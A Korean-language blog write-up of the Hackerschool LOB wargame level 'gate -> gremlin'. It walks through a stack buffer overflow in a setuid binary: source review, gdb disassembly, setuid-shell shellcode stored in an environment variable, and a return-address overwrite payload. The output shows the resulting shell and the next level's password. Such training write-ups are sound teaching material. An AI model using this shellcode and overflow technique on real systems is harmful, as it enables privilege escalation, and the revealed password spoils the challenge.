반응형


해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이


M4ndU




해커스쿨 LOB [gate -> gremlin] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gate

Password:

Last login: Sat Feb 10 20:32:49 on tty1

[gate@localhost gate]$ bash2

[gate@localhost gate]$ ls -l

total 16

-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

[gate@localhost gate]$ cat gremlin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - gremlin

        - simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




Simple BOF문제라고 하네요.


소스를 보면 256바이트 크기인 buffer에 무제한으로 입력을 받네요.


buffer와 리턴주소 간의 거리를 구하고 쉘코드를 buffer 또는 환경변수에 올려서 쉘을 따면 되겠네요.


저는 환경변수를 이용하겠습니다.



일단 문제 파일을 gdb로 까봅시다.


[gate@localhost gate]$ gdb gremlin -q

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>

0x8048449 <main+25>:    add    %esp,4

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax

0x8048466 <main+54>:    call   0x8048370 <strcpy>

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256]

0x8048474 <main+68>:    push   %eax

0x8048475 <main+69>:    push   0x80484ec

0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret


*main+62 를 통해 buffer가 ebp-256에 있는 것을 알 수 있습니다.

buffer의 크기가 256이니 dummy없이 바로 buffer - sfp - ret 인 것 같습니다.


이제 환경변수를 설정해 줍시다.
41바이트 쉘코드를 사용했습니다.


[gate@localhost gate]$ cd tmp/
[gate@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gate@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gate@localhost tmp]$ gcc getenv.c -o getenv
[gate@localhost tmp]$
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./getenv
ADDR -> 0xbffffe9f


0xbffffe9f를 리턴주소로 두고 공격을 하면 되겠네요.

./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA잷?
bash$ my-pass
euid = 501
hello bof world
bash$



다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

+ Recent posts